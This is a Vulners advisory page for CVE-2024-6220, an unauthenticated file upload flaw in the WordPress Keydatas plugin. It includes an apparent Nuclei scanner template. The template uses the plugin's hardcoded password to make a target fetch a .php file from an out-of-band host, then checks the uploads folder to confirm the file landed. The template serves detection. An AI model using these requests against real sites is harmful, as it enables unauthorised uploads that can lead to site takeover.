Vulners
Lucene search
WordPress Keydatas ≤ 2.5.2 - Arbitrary File Upload
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
 | CVE-2024-6220 | 17 Jul 202410:41 | – | circl |
 | CVE-2024-6220 | 17 Jul 202407:32 | – | cve |
 | CVE-2024-6220 简数采集器 (Keydatas) <= 2.5.2 - Unauthenticated Arbitrary File Upload | 17 Jul 202407:32 | – | cvelist |
 | EUVD-2024-47354 | 17 Jul 202407:32 | – | euvd |
 | CVE-2024-6220 | 17 Jul 202408:15 | – | nvd |
 | CVE-2024-6220 | 17 Jul 202408:15 | – | osv |
 | WordPress Keydatas Plugin <= 2.5.2 is vulnerable to Arbitrary File Upload | 17 Jul 202400:00 | – | patchstack |
| WordPres Keydatas plugin <= 2.5.2 - Unauthenticated Arbitrary File Upload vulnerability | 17 Jul 202402:21 | – | patchstack |
 | PT-2024-37462 | 17 Jul 202400:00 | – | ptsecurity |
 | CVE-2024-6220 | 5 Feb 202502:55 | – | redhatcve |
10
id: CVE-2024-6220
info:
name: WordPress Keydatas ≤ 2.5.2 - Arbitrary File Upload
author: hnd3884
severity: critical
description: |
The Keydatas plugin for WordPress (known in Chinese as "简数采集器") is vulnerable to unrestricted file uploads due to missing file-type validation in the keydatas_downloadImages function in all versions up to and including 2.5.2. An unauthenticated attacker can upload arbitrary files to the server — potentially leading to remote code execution, site takeover, or other severe compromise.
impact: |
Unauthenticated attackers can upload arbitrary files including PHP web shells through the keydatas_downloadImages function, achieving remote code execution and complete site compromise.
remediation: |
Update Keydatas plugin to version 2.5.3 or later to address the arbitrary file upload vulnerability.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/keydatas/keydatas-252-unauthenticated-arbitrary-file-upload
- https://github.com/advisories/GHSA-29rm-j4cx-hmc5
- https://nvd.nist.gov/vuln/detail/CVE-2024-6220
classification:
cve-id: CVE-2024-6220
epss-score: 0.35708
epss-percentile: 0.98265
cwe-id: CWE-434
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cpe: cpe:2.3:a:keydatas:keydatas:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: keydatas
product: wordpress
tags: cve,cve2024,wp,wp-plugin,wordpress,keydatas,file-upload,rce,vkev
variables:
filename: "{{rand_base(5)}}.php"
oast_url: "{{interactsh-url}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /?__kds_flag=post HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
kds_password=keydatas.com&post_title=1&__kds_docImgs=http://{{oast_url}}/{{filename}}&__kds_download_imgs_flag=true
matchers:
- type: dsl
dsl:
- "status_code == 200"
- 'contains(body, "{\"rs\":1")'
condition: and
internal: true
extractors:
- type: regex
part: http_1_request
name: folder
group: 1
regex:
- '__kds_docImgs=http://([^&]+?\.php)'
internal: true
- raw:
- |
GET /wp-content/uploads/{{folder}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "<html><head></head><body>"
- type: status
status:
- 200
# digest: 4a0a0047304502203fd8c7b5524878755e4e90227dfa44d053f0d4f1043dac7da44a3d8457a5184c022100de67420c0613020a4e51253ab236df12f55e54063d906ef51f203004823992a9:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.19.8
EPSS0.35708
SSVC